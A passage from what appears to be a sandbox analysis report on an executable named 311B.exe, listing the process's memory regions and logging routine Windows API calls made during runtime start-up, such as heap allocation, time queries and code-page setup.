0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4988 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4989 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4990 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4991 start_va = 0x400000 end_va = 0xa7ffff monitored = 1 entry_point = 0x4b826b region_type = mapped_file name = "311b.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\311b.exe") Region: id = 4992 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4993 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 4994 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4995 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4996 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4997 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 4999 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5000 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5003 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5004 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5007 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5008 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5009 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5010 start_va = 0xa80000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5011 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5012 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5013 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5014 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 5015 start_va = 0xbd0000 end_va = 0xc8dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5016 start_va = 0x73e50000 end_va = 0x73ee1fff monitored = 0 entry_point = 0x73e90380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 5017 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 5018 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5019 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5020 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5021 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5022 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5023 start_va = 0xa80000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 5024 start_va = 0xad0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 5025 start_va = 0xc90000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 5026 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5027 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5028 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5029 start_va = 0x741e0000 end_va = 0x742d1fff monitored = 0 entry_point = 0x74218070 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 5034 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5035 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5036 start_va = 0x74520000 end_va = 0x745acfff monitored = 0 entry_point = 0x74569b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5037 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5038 start_va = 0x74eb0000 end_va = 0x762aefff monitored = 0 entry_point = 0x7506b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 5039 start_va = 0x76800000 end_va = 0x76836fff monitored = 0 entry_point = 0x76803b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 5040 start_va = 0x745b0000 end_va = 0x74aa8fff monitored = 0 entry_point = 0x747b7610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 5041 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5042 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5043 start_va = 0x76470000 end_va = 0x764b3fff monitored = 0 entry_point = 0x76477410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 5044 start_va = 0x73f20000 end_va = 0x73f2efff monitored = 0 entry_point = 0x73f22e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 5045 start_va = 0x76b60000 end_va = 0x76bbdfff monitored = 0 entry_point = 0x76b77470 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\SysWOW64\\FirewallAPI.dll" (normalized: "c:\\windows\\syswow64\\firewallapi.dll") Region: id = 5046 start_va = 0x6f7a0000 end_va = 0x6f831fff monitored = 0 entry_point = 0x6f7add60 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10586.0_none_811bc0006c44242b\\comctl32.dll") Region: id = 5047 start_va = 0x76be0000 end_va = 0x76bf2fff monitored = 0 entry_point = 0x76be1d20 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 5048 start_va = 0xd90000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 5049 start_va = 0xdd0000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 5050 start_va = 0x72cc0000 end_va = 0x72ccafff monitored = 0 entry_point = 0x72cc1d20 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 5051 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5057 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5058 start_va = 0x73f90000 end_va = 0x74107fff monitored = 0 entry_point = 0x73fe8a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 5059 start_va = 0x6fa30000 end_va = 0x6fa35fff monitored = 0 entry_point = 0x6fa31490 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 5060 start_va = 0x6f5b0000 end_va = 0x6f71afff monitored = 0 entry_point = 0x6f61e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 5061 start_va = 0x764c0000 end_va = 0x764cdfff monitored = 0 entry_point = 0x764c5410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 5062 start_va = 0x73dd0000 end_va = 0x73e44fff monitored = 0 entry_point = 0x73e09a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5063 start_va = 0x6fa20000 end_va = 0x6fa2efff monitored = 0 entry_point = 0x6fa22a50 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 5067 start_va = 0x74c00000 end_va = 0x74c41fff monitored = 0 entry_point = 0x74c16f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 5069 start_va = 0x6f310000 end_va = 0x6f5affff monitored = 0 entry_point = 0x6f379b00 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\SysWOW64\\esent.dll" (normalized: "c:\\windows\\syswow64\\esent.dll") Region: id = 5070 start_va = 0x714f0000 end_va = 0x7151efff monitored = 0 entry_point = 0x714fbb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 5071 start_va = 0x6fa10000 end_va = 0x6fa17fff monitored = 0 entry_point = 0x6fa117b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 5072 start_va = 0x71570000 end_va = 0x7177cfff monitored = 0 entry_point = 0x7165acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 5077 start_va = 0x6fa00000 end_va = 0x6fa09fff monitored = 0 entry_point = 0x6fa028d0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 5078 start_va = 0x6f9e0000 end_va = 0x6f9f4fff monitored = 0 entry_point = 0x6f9e5210 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 5083 start_va = 0x1c0000 end_va = 0x1e9fff monitored = 0 entry_point = 0x1c5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5084 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5085 start_va = 0xed0000 end_va = 0x1057fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ed0000" filename = "" Region: id = 5086 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5087 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5088 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5089 start_va = 0x1060000 end_va = 0x11e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001060000" filename = "" Region: id = 5090 start_va = 0x11f0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011f0000" filename = "" Region: id = 5091 start_va = 0x25f0000 end_va = 0x279ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 5092 start_va = 0x25f0000 end_va = 0x269ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 5093 start_va = 0x2790000 end_va = 0x279ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 5098 start_va = 0x72c90000 end_va = 0x72cbbfff monitored = 0 entry_point = 0x72ca5ee0 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\SysWOW64\\fwbase.dll" (normalized: "c:\\windows\\syswow64\\fwbase.dll") Region: id = 5099 start_va = 0x27a0000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 5100 start_va = 0x26a0000 end_va = 0x275ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 5101 start_va = 0x1d0000 end_va = 0x1d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5114 start_va = 0x27a0000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 5115 start_va = 0x2970000 end_va = 0x297ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 15262 start_va = 0xc90000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 15305 start_va = 0xa80000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 15306 start_va = 0xd40000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 15307 start_va = 0x2980000 end_va = 0xac2bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Thread: id = 164 os_tid = 0x1108 [0205.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x5db0162d, dwHighDateTime=0x1d8a766)) [0205.151] GetCurrentProcessId () returned 0xb8c [0205.151] GetCurrentThreadId () returned 0x1108 [0205.151] GetTickCount () returned 0x13a582b [0205.151] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=2070169444477) returned 1 [0206.033] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1e1, hStdOutput=0x19ff7c, hStdError=0x4c65d4)) [0206.033] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0206.033] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2860000 [0206.034] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0206.034] GetProcAddress (hModule=0x76720000, lpProcName="FlsAlloc") returned 0x7673a980 [0206.034] GetProcAddress (hModule=0x76720000, lpProcName="FlsGetValue") returned 0x76737570 [0206.034] GetProcAddress (hModule=0x76720000, lpProcName="FlsSetValue") returned 0x76739e30 [0206.035] GetProcAddress (hModule=0x76720000, lpProcName="FlsFree") returned 0x76744ff0 [0206.035] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x214) returned 0x28605a8 [0206.035] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0206.036] GetCurrentThreadId () returned 0x1108 [0206.036] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4c1870, hStdOutput=0x4c1c17, hStdError=0x28605a8)) [0206.036] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x800) returned 0x28607c8 [0206.036] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0206.036] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0206.036] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0206.036] SetHandleCount (uNumber=0x20) returned 0x20 [0206.036] GetCommandLineW () returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe" [0206.036] GetEnvironmentStringsW () returned 0xaef318* [0206.036] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0xb04) returned 0x2860fd0 [0206.036] FreeEnvironmentStringsW (penv=0xaef318) returned 1 [0206.036] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x80db88, nSize=0x104 | out: lpFilename="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\311B.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\311b.exe")) returned 0x2d [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x64) returned 0x2861ae0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x9c) returned 0x2861b50 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x3e) returned 0x2861bf8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x5c) returned 0x2861c40 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x6e) returned 0x2861ca8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x78) returned 0x2861d20 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x62) returned 0x2861da0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x28) returned 0x2861e10 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x48) returned 0x2861e40 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x62) returned 0x2861e90 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x50) returned 0x2861f00 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x1a) returned 0x2861f58 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x3a) returned 0x2861f80 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x62) returned 0x2861fc8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x2a) returned 0x2862038 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x2e) returned 0x2862070 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x1c) returned 0x28620a8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0xd2) returned 0x28620d0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x7c) returned 0x28621b0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x36) returned 0x2862238 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x3a) returned 0x2862278 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x90) returned 0x28622c0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x24) returned 0x2862358 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x30) returned 0x2862388 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x36) returned 0x28623c0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x48) returned 0x2862400 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x52) returned 0x2862450 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x3c) returned 0x28624b0 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0xd6) returned 0x28624f8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x2e) returned 0x28625d8 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x28) returned 0x2862610 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x1e) returned 0x2862640 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x2c) returned 0x2862668 [0206.037] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x54) returned 0x28626a0 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x52) returned 0x2862700 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x24) returned 0x2862760 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x42) returned 0x2862790 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x2c) returned 0x28627e0 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x44) returned 0x2862818 [0206.038] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x24) returned 0x2862868 [0206.045] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2860fd0 | out: hHeap=0x2860000) returned 1 [0206.045] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x80) returned 0x2862898 [0206.045] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x800) returned 0x2860fd0 [0206.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fed8 | out: lpSystemTimeAsFileTime=0x19fed8*(dwLowDateTime=0x5e37ff08, dwHighDateTime=0x1d8a766)) [0206.045] GetLastError () returned 0x0 [0206.045] SetLastError (dwErrCode=0x0) [0206.045] GetLastError () returned 0x0 [0206.045] SetLastError (dwErrCode=0x0) [0206.045] GetLastError () returned 0x0 [0206.045] SetLastError (dwErrCode=0x0) [0206.045] GetACP () returned 0x4e4 [0206.045] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x220) returned 0x28617d8 [0206.046] GetLastError () returned 0x0 [0206.046] SetLastError (dwErrCode=0x0) [0206.046] IsValidCodePage (CodePage=0x4e4) returned 1 [0206.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0206.046] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0206.046] GetLastError () returned 0x0 [0206.046] SetLastError (dwErrCode=0x0) [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 